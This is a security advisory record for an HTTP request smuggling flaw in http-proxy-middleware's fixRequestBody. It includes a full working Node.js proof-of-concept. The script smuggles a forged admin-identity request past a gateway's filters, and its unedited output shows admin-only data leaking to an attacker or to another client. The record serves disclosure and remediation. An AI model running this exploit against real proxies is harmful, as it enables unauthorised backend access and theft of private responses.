{"id":"GHSA-vp89-2qrg-8fwc","summary":"http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival","details":"### Summary\n\n`fixRequestBody` treats `req.readableLength === 0` as proof that a body parser consumed the request body. The same value is observed before any body byte has arrived. An unauthenticated client can therefore send the request headers first, wait one event-loop turn, and then send a body containing a complete second HTTP request.\n\nWhen a body-parser 1.x parser declined the declared media type, it has already assigned a truthy `req.body` but has not consumed the stream. `fixRequestBody` serializes that empty body, changes the upstream `Content-Length`, and writes it. `httpxy` subsequently pipes the still-live request stream into the same upstream request. The backend consumes the synthesized body at the declared length and parses the attacker's withheld bytes as a second request on the persistent connection.\n\nThat second request bypasses the gateway's route filter, explicit `/admin` denial, and trusted-header normalization. On the default 4.2.0 upstream pool, a following request can also receive the smuggled request's response. The PoC below uses no attacker credential: a public `/api/thing` request produces a backend `/admin/secret` request carrying the attacker-selected internal identity header, and an attacker-controlled follow-up receives `SECRET_ADMIN_ONLY`.\n\n### Details\n\nThe vulnerable guard is in [`src/handlers/fix-request-body.ts:30-39`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L30-L39):\n\n```ts\n// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)\nif (req.readableLength !== 0) {\n  return;\n}\n\nconst requestBody = req.body;\n\nif (!requestBody) {\n  return;\n}\n```\n\n`readableLength` reports bytes currently buffered in the readable queue. It is zero both after a parser drains the stream and before the client sends the body. The client controls which state applies by controlling body arrival.\n\nWith body-parser 1.20.3, [`json()` assigns `req.body = req.body || {}` before its media-type test](https://github.com/expressjs/body-parser/blob/1.20.3/lib/types/json.js#L101-L123). A request declared as `application/x-www-form-urlencoded` therefore reaches the proxy with a truthy empty object even when only `express.json()` is mounted. [Body-parser 2.2.0 initializes a previously absent body to `undefined`](https://github.com/expressjs/body-parser/blob/2.2.0/lib/types/json.js#L86-L95), so the second guard returns; the relevant prerequisite is the body-parser major, not the Express major.\n\nThe handler then assumes ownership of the upstream framing at [`src/handlers/fix-request-body.ts:47-81`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L47-L81):\n\n```ts\nconst writeBody = (bodyData: string) =\u003e {\n  let proxyData: string | Buffer = bodyData;\n  // compression branches omitted\n  proxyReq.setHeader('Content-Length', Buffer.byteLength(proxyData));\n  proxyReq.write(proxyData);\n};\n\nif (contentType.includes('application/json') || contentType.includes('+json')) {\n  writeBody(JSON.stringify(requestBody));\n} else if (contentType.includes('application/x-www-form-urlencoded')) {\n  writeBody(querystring.stringify(requestBody));\n} else if (contentType.includes('multipart/form-data')) {\n  writeBody(stringifyFormData(contentType, requestBody));\n} else if (contentType.includes('text/plain')) {\n  writeBody(requestBody);\n}\n```\n\nIn the PoC, `requestBody` is `{}`, so the URL-encoded form is an empty string and the outgoing length becomes zero. In the published `httpxy` 0.5.5 artifact, `dist/index.mjs:288-290` emits `proxyReq` from one `socket` listener and `dist/index.mjs:325-327` registers the original request pipe in a later `socket` listener. The event handler writes the synthetic zero-length body first; the pipe writes the real body afterward. The backend therefore receives this shape from one client request:\n\n```http\nPOST /api/thing HTTP/1.1\ncontent-type: application/x-www-form-urlencoded\ncontent-length: 0\nconnection: keep-alive\nx-authenticated-user: anonymous\n\nGET /admin/secret HTTP/1.1\nHost: backend\nX-Authenticated-User: admin\nContent-Length: 0\n\n```\n\nThe smuggled request never traverses the gateway. A backend that trusts identity headers written by the gateway sees the attacker-selected `admin` value, while an ordinary client request has that header deleted and replaced by the gateway.\n\nThe necessary conditions are:\n\n- A body-parser 1.x parser runs before the proxy and declines the request media type, leaving a truthy `req.body` and an unread stream.\n- `fixRequestBody` is registered as `on.proxyReq`.\n- The body arrives after the headers in a later event-loop turn.\n- The upstream connection remains persistent. This is the 4.x default from 4.0.0-beta.2. On 2.x, 3.x, and 4.0.0-beta.0, a pooling agent supplies persistence when the client omits `Connection`; a plain non-pooling `new http.Agent()` requires the client to send `Connection: keep-alive`. A pooling agent is additionally required to read the response through a following request.\n- No front end ahead of the gateway fully buffers and reframes the request before forwarding it.\n\nThe project documents the relevant arrangement. [`README.md:521-533`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L521-L533) recommends `fixRequestBody` after body parsing, and [`README.md:539-559`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L539-L559) shows it with `bodyParser.json()`. For older lines, [`recipes/corporate-proxy.md:14-17`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/recipes/corporate-proxy.md#L14-L17) shows the additional `agent` configuration.\n\nSuggested fix: do not use buffered-byte count as a proxy for stream completion. `req.readableEnded` is a Node stream state that distinguishes a drained stream from a body that has not arrived. The following is a candidate change, not a fully regression-tested patch:\n\n```diff\n-// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)\n-if (req.readableLength !== 0) {\n+// Only reconstruct a body after the original request stream reached its end.\n+if (!req.readableEnded) {\n   return;\n }\n```\n\nThis candidate passed the ordinary parsed-JSON control used during review, but it should be tested across every supported Node line, body-parser 1.x and 2.x, matching and declined media types, empty bodies, compressed requests, and all four serialization branches. Calling `req.unpipe(proxyReq)` inside `fixRequestBody` is not sufficient: `httpxy` installs the pipe after the `proxyReq` callback returns. Destroying the request stream inside this public helper also breaks valid parsed-body use. A more structural fix would make reconstruction and streaming mutually exclusive before the upstream request is created. No patch was applied to the target checkout.\n\n### PoC\n\nThe PoC is self-contained and uses the published packages. Save the script below as `poc.mjs` in a new directory and run:\n\n```sh\nnpm init -y\nnpm install http-proxy-middleware@4.2.0 express@4.21.2\nnode poc.mjs\n```\n\n```js\nimport fs from 'node:fs';\nimport http from 'node:http';\nimport net from 'node:net';\nimport { fileURLToPath } from 'node:url';\nimport express from 'express';\nimport { createProxyMiddleware, fixRequestBody } from 'http-proxy-middleware';\n\nconst HERE = new URL('./', import.meta.url);\nconst BODY_GAP_MS = 20;\nconst FOLLOW_DELAY_MS = 20;\n\nfunction version(name) {\n  const path = fileURLToPath(new URL(`node_modules/${name}/package.json`, HERE));\n  return JSON.parse(fs.readFileSync(path, 'utf8')).version;\n}\n\nfunction sleep(ms) {\n  return new Promise((resolve) =\u003e setTimeout(resolve, ms));\n}\n\nfunction listen(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.once('error', reject);\n    server.listen(0, '127.0.0.1', () =\u003e {\n      server.off('error', reject);\n      resolve(server.address().port);\n    });\n  });\n}\n\nasync function close(server) {\n  server.closeAllConnections?.();\n  await new Promise((resolve) =\u003e server.close(resolve));\n}\n\nfunction send(res, status, body) {\n  res.writeHead(status, {\n    'Content-Type': 'text/plain',\n    'Content-Length': Buffer.byteLength(body),\n  });\n  res.end(body);\n}\n\nasync function startRig() {\n  const log = [];\n  const socketIds = new WeakMap();\n  let nextSocketId = 1;\n\n  const backend = http.createServer((req, res) =\u003e {\n    const socket = socketIds.get(req.socket);\n    const user = req.headers['x-authenticated-user'] || 'missing';\n    log.push(`${req.method} ${req.url} user=${user} socket=${socket}`);\n    req.resume();\n    req.on('end', () =\u003e {\n      if (req.url === '/admin/secret') {\n        const allowed = user === 'admin';\n        setTimeout(() =\u003e {\n          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'SECRET_ADMIN_ONLY' : 'DENIED');\n        }, 120);\n        return;\n      }\n      if (req.url === '/api/victim') {\n        const allowed = user === 'victim';\n        setTimeout(() =\u003e {\n          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'VICTIM_PRIVATE_DATA' : 'NO_VICTIM_ACCESS');\n        }, 240);\n        return;\n      }\n      send(res, 200, `PUBLIC:${req.url}`);\n    });\n  });\n  backend.on('connection', (socket) =\u003e socketIds.set(socket, nextSocketId++));\n  const backendPort = await listen(backend);\n\n  const app = express();\n  app.use(express.json());\n  app.use((req, _res, next) =\u003e {\n    delete req.headers['x-authenticated-user'];\n    req.headers['x-authenticated-user'] =\n      req.headers['x-victim-token'] === 'victim-secret' ? 'victim' : 'anonymous';\n    delete req.headers['x-victim-token'];\n    next();\n  });\n  app.use('/admin', (_req, res) =\u003e send(res, 403, 'GATEWAY_BLOCKED'));\n  app.use(createProxyMiddleware({\n    target: `http://127.0.0.1:${backendPort}`,\n    pathFilter: '/api',\n    on: { proxyReq: fixRequestBody },\n  }));\n  app.use((_req, res) =\u003e send(res, 404, 'NOT_FOUND'));\n\n  const gateway = http.createServer(app);\n  const gatewayPort = await listen(gateway);\n  return { backend, gateway, gatewayPort, log };\n}\n\nfunction request(port, path, headers = {}) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request({\n      host: '127.0.0.1',\n      port,\n      path,\n      method: 'GET',\n      agent: false,\n      headers,\n    }, (res) =\u003e {\n      const chunks = [];\n      res.on('data', (chunk) =\u003e chunks.push(chunk));\n      res.on('end', () =\u003e resolve({\n        status: res.statusCode,\n        body: Buffer.concat(chunks).toString('utf8'),\n      }));\n    });\n    req.setTimeout(2000, () =\u003e req.destroy(new Error('timeout')));\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nfunction firstResponse(buffer) {\n  const headerEnd = buffer.indexOf('\\r\\n\\r\\n');\n  if (headerEnd \u003c 0) return null;\n  const head = buffer.subarray(0, headerEnd).toString('latin1');\n  const length = Number(/\\r\\ncontent-length:\\s*(\\d+)/i.exec(`\\r\\n${head}`)?.[1]);\n  if (!Number.isFinite(length)) return null;\n  const end = headerEnd + 4 + length;\n  if (buffer.length \u003c end) return null;\n  return {\n    status: Number(/^HTTP\\/1\\.1\\s+(\\d+)/.exec(head)?.[1]),\n    body: buffer.subarray(headerEnd + 4, end).toString('utf8'),\n  };\n}\n\nfunction startOuter(port, split) {\n  const smuggled = [\n    'GET /admin/secret HTTP/1.1',\n    'Host: backend',\n    'X-Authenticated-User: admin',\n    'Content-Length: 0',\n    '',\n    '',\n  ].join('\\r\\n');\n  const head = [\n    'POST /api/thing HTTP/1.1',\n    `Host: 127.0.0.1:${port}`,\n    'Content-Type: application/x-www-form-urlencoded',\n    `Content-Length: ${Buffer.byteLength(smuggled)}`,\n    'Connection: keep-alive',\n    '',\n    '',\n  ].join('\\r\\n');\n\n  let bytes = Buffer.alloc(0);\n  let bodySentResolve;\n  const bodySent = new Promise((resolve) =\u003e { bodySentResolve = resolve; });\n  let responseResolve;\n  const response = new Promise((resolve) =\u003e { responseResolve = resolve; });\n  const socket = net.connect(port, '127.0.0.1');\n  socket.setNoDelay(true);\n  socket.on('error', () =\u003e {});\n  socket.on('data', (chunk) =\u003e {\n    bytes = Buffer.concat([bytes, chunk]);\n    const parsed = firstResponse(bytes);\n    if (parsed) responseResolve(parsed);\n  });\n  socket.on('connect', () =\u003e {\n    if (!split) {\n      socket.write(head + smuggled, 'latin1', bodySentResolve);\n      return;\n    }\n    socket.write(head, 'latin1', () =\u003e {\n      setTimeout(() =\u003e socket.write(smuggled, 'latin1', bodySentResolve), BODY_GAP_MS);\n    });\n  });\n  return { socket, bodySent, response };\n}\n\nasync function scenario(label, run) {\n  const rig = await startRig();\n  try {\n    console.log(`\\n[${label}]`);\n    await run(rig);\n    console.log(`backend log: ${rig.log.join(' | ') || '(empty)'}`);\n  } finally {\n    await close(rig.gateway);\n    await close(rig.backend);\n  }\n}\n\nconsole.log(`Node ${process.version}; http-proxy-middleware ${version('http-proxy-middleware')}; httpxy ${version('httpxy')}; express ${version('express')}`);\n\nawait scenario('control: direct admin request', async ({ gatewayPort }) =\u003e {\n  const result = await request(gatewayPort, '/admin/secret', { 'X-Authenticated-User': 'admin' });\n  console.log(`attacker -\u003e ${result.status} ${result.body}`);\n});\n\nawait scenario('control: direct victim request without token', async ({ gatewayPort }) =\u003e {\n  const result = await request(gatewayPort, '/api/victim');\n  console.log(`attacker -\u003e ${result.status} ${result.body}`);\n});\n\nawait scenario('control: identical bytes in one write', async ({ gatewayPort }) =\u003e {\n  const outer = startOuter(gatewayPort, false);\n  await outer.bodySent;\n  const outerResult = await outer.response;\n  const follow = await request(gatewayPort, '/api/follow');\n  outer.socket.destroy();\n  console.log(`outer attacker -\u003e ${outerResult.status} ${outerResult.body}`);\n  console.log(`follow-up attacker -\u003e ${follow.status} ${follow.body}`);\n});\n\nawait scenario('exploit: delayed body, attacker reads admin response', async ({ gatewayPort }) =\u003e {\n  const outer = startOuter(gatewayPort, true);\n  await outer.bodySent;\n  await sleep(FOLLOW_DELAY_MS);\n  const follow = await request(gatewayPort, '/api/follow');\n  const outerResult = await outer.response;\n  outer.socket.destroy();\n  console.log(`outer attacker -\u003e ${outerResult.status} ${outerResult.body}`);\n  console.log(`follow-up attacker -\u003e ${follow.status} ${follow.body}`);\n});\n\nawait scenario('exploit: first ordinary client receives the admin response', async ({ gatewayPort }) =\u003e {\n  const outer = startOuter(gatewayPort, true);\n  await outer.bodySent;\n  await sleep(FOLLOW_DELAY_MS);\n  const victim = await request(gatewayPort, '/api/victim', { 'X-Victim-Token': 'victim-secret' });\n  const outerResult = await outer.response;\n  outer.socket.destroy();\n  console.log(`outer attacker -\u003e ${outerResult.status} ${outerResult.body}`);\n  console.log(`victim -\u003e ${victim.status} ${victim.body}`);\n});\n```\n\nOutput, unedited:\n\n```text\nNode v24.21.0; http-proxy-middleware 4.2.0; httpxy 0.5.5; express 4.21.2\n\n[control: direct admin request]\nattacker -\u003e 403 GATEWAY_BLOCKED\nbackend log: (empty)\n\n[control: direct victim request without token]\nattacker -\u003e 403 NO_VICTIM_ACCESS\nbackend log: GET /api/victim user=anonymous socket=1\n\n[control: identical bytes in one write]\nouter attacker -\u003e 200 PUBLIC:/api/thing\nfollow-up attacker -\u003e 200 PUBLIC:/api/follow\nbackend log: POST /api/thing user=anonymous socket=1 | GET /api/follow user=anonymous socket=1\n\n[exploit: delayed body, attacker reads admin response]\nouter attacker -\u003e 200 PUBLIC:/api/thing\nfollow-up attacker -\u003e 200 SECRET_ADMIN_ONLY\nbackend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/follow user=anonymous socket=1\n\n[exploit: first ordinary client receives the admin response]\nouter attacker -\u003e 200 PUBLIC:/api/thing\nvictim -\u003e 200 SECRET_ADMIN_ONLY\nbackend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/victim user=victim socket=1\n```\n\nThe first control proves the gateway rejects `/admin/secret` even when the client supplies the trusted header; the backend is not contacted. The second proves an unauthenticated client cannot read the victim route. The third sends exactly the same outer headers and body as the exploit in one concatenated write: only `/api/thing` reaches the backend, and the follow-up receives its own response. Only the body schedule changes in the exploit. The backend then logs two requests on one socket, and the unauthenticated follow-up receives the admin-only body. The last scenario replaces the follow-up with an authenticated victim request and shows that arrival order selects the recipient of the queued admin response.\n\nThe complete script was repeated ten times on Node 24.21.0. Both exploit scenarios succeeded in every run, and the concatenated-write control stayed clean in every run:\n\n```text\ncomplete_runs=10/10 failures=0\n```\n\nThe response-routing behavior was also measured separately at 30 trials per cell with a fresh gateway and pool for every trial. The smuggled endpoint responded after 120 ms and the follow-up began 20 ms after the body:\n\n| upstream scheduling | clean free sockets before the attempt | attacker received the admin response |\n| --- | ---: | ---: |\n| default `lifo` | 0 | 30/30 |\n| default `lifo` | 1 | 30/30 |\n| default `lifo` | 4 | 30/30 |\n| explicit `fifo` | 0 | 30/30 |\n| explicit `fifo` | 1 | 30/30 |\n| explicit `fifo` | 4 | 0/30 |\n\nThe concatenated-write negative control was 0/30. With two possible recipients, routing was deterministic: whichever ordinary request arrived first received the admin response, 30/30 in both orderings. FIFO plus a sufficiently deep idle pool is a measured mitigation, not a complete fix; occupying the older sockets drove the FIFO depth-four cell back to 30/30.\n\nPublished artifacts were tested rather than inferring the range from the source commit. The persistent-agent column used `new http.Agent({keepAlive:true})` with an explicit client `Connection: keep-alive`; it is not an unspecified generic agent:\n\n| version | no `agent` option | measured persistent-agent configuration |\n| --- | --- | --- |\n| 2.0.9 | payload dropped | smuggled |\n| 2.0.10 | payload dropped | smuggled |\n| 3.0.5 | payload dropped | smuggled |\n| 3.0.7 | payload dropped | smuggled |\n| 4.0.0-beta.0 | payload dropped | smuggled |\n| 4.0.0-beta.2 | smuggled | smuggled |\n| 4.2.0 | smuggled | smuggled |\n\nThe agent and client header were then separated on 2.0.10 and 3.0.7, ten fresh trials per cell:\n\n| agent | client `Connection` | backend `Connection` | 2.0.10 | 3.0.7 |\n| --- | --- | --- | ---: | ---: |\n| plain `new http.Agent()` | omitted | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 |\n| plain `new http.Agent()` | `keep-alive` | `keep-alive` | smuggled 10/10 | smuggled 10/10 |\n| `new http.Agent({keepAlive:true,maxSockets:1})` | omitted | `keep-alive` | smuggled 10/10 | smuggled 10/10 |\n| `agent:false` | `keep-alive` | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 |\n\nThe older lines therefore require an agent plus persistent upstream framing. A plain non-pooling agent is not enough when the client header is omitted. A pooling agent supplies persistence and is also required for response readback. `agent:false` forces `close` even when the client asks for keep-alive.\n\n### Impact\n\n#### What it is\n\nA remote unauthenticated client can make the backend execute an arbitrary HTTP/1.1 request that the gateway never parsed or authorized. The request can target a route outside `pathFilter` and can forge headers that the backend trusts the gateway to set. With the default 4.x LIFO pool, an attacker-controlled following request can receive the smuggled response. This provides an integrity impact for arbitrary backend actions and a confidentiality impact for backend responses reachable through forged gateway identity.\n\nThe 10.0 vector describes the default 4.2.0 configuration and the reasonable worst-case use of a proxy library: a public proxied route fronts a backend with privileged internal routes or trusted identity headers. [FIRST's CVSS v3.1 User Guide, section 3.7](https://www.first.org/cvss/v3-1/user-guide#3-7-scoring-vulnerabilities-in-software-libraries-and-similar), directs analysts to score libraries using a stated reasonable worst-case implementation scenario; [section 3.8](https://www.first.org/cvss/v3-1/user-guide#3-8-multiple-cvss-base-scores) says to use the highest applicable score when only one is supplied. The deterministic integrity-only floor is 8.6 when response readback is unavailable.\n\n#### Who is impacted\n\nAn application is exposed when it places a body-parser 1.x parser before `http-proxy-middleware`, enables `fixRequestBody`, permits a request media type that the mounted parser declines but the handler recognizes, and reaches the gateway without complete request-body buffering. The upstream connection must also remain persistent. Persistence is the default in 4.x from 4.0.0-beta.2. The affected 2.x, 3.x, and 4.0.0-beta.0 lines require an explicit agent; a pooling agent supplies keep-alive, while a plain non-pooling agent also requires an explicit client `Connection: keep-alive` header.\n\nThe body-parser major sets the boundary. Express 4 normally supplies body-parser 1.x behavior and Express 5 normally supplies body-parser 2.x behavior, but an Express 5 application that mounts body-parser 1.x explicitly remains affected.\n\n#### How an operator arrives at that configuration\n\nThe README recommends `fixRequestBody` specifically for applications where body parsing runs first and demonstrates `bodyParser.json()` before the proxy. The PoC places an explicit route denial and trusted-header normalization before the backend proxy, and the smuggled request bypasses both. The 4.x proxy dependency supplies a keep-alive agent by default. The project's corporate-proxy recipe supplies an agent explicitly for older lines, but that specific `HttpsProxyAgent` configuration was not measured.\n\n#### What is not claimed\n\nThis is not exploitable through every deployment. nginx 1.27 with default request buffering was clean in testing, including the delayed-body shape. HAProxy 3.0 in HTTP mode and Traefik 3.1 preserved the vulnerable timing; Envoy 1.31 bypassed the guard but dropped the appended payload in the tested configuration. Managed load balancers, CDNs, service meshes as deployed, HTTPS targets, WebSocket upgrades, `responseInterceptor`, and `pathRewrite` were not tested.\n\nBody-parser 2.x, a matching parser that consumes the request, no parser at all, and `agent: false` were clean in the tested matrix. A non-pooling agent permits the unauthorized backend request only when another input, measured here as an explicit client `Connection: keep-alive`, keeps the upstream request persistent; it does not provide the response-read technique shown here.\n\n#### Disclosure\n\nThis report has not been published or sent elsewhere. No issue, pull request, or public discussion has been opened. Testing used loopback listeners, published npm artifacts, and disposable local containers. The target checkout was not modified and was clean after testing.","aliases":["CVE-2026-140103"],"modified":"2026-12-01T18:30:04.107845979Z","published":"2026-12-01T18:15:48Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-12-01T18:15:48Z","nvd_published_at":"2026-11-30T23:17:24Z","cwe_ids":["CWE-444","CWE-807"]},"references":[{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-vp89-2qrg-8fwc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140103"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1309"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1310"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/pull/1311"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/32b56d3f22f0c77eed6828abef84104dacf202f4"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/412856f29168a815aeb2ede15266d7097b9060cc"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/commit/77febf656f730ca28cd2188ba372aa4fa98f9404"},{"type":"PACKAGE","url":"https://github.com/chimurai/http-proxy-middleware"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.11"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.8"},{"type":"WEB","url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.1"}],"affected":[{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-beta.0"},{"fixed":"4.2.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 4.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-vp89-2qrg-8fwc/GHSA-vp89-2qrg-8fwc.json"}},{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.5"},{"fixed":"3.0.10"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.0.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-vp89-2qrg-8fwc/GHSA-vp89-2qrg-8fwc.json"}},{"package":{"name":"http-proxy-middleware","ecosystem":"npm","purl":"pkg:npm/http-proxy-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.9"},{"fixed":"2.0.11"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.0.10","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-vp89-2qrg-8fwc/GHSA-vp89-2qrg-8fwc.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}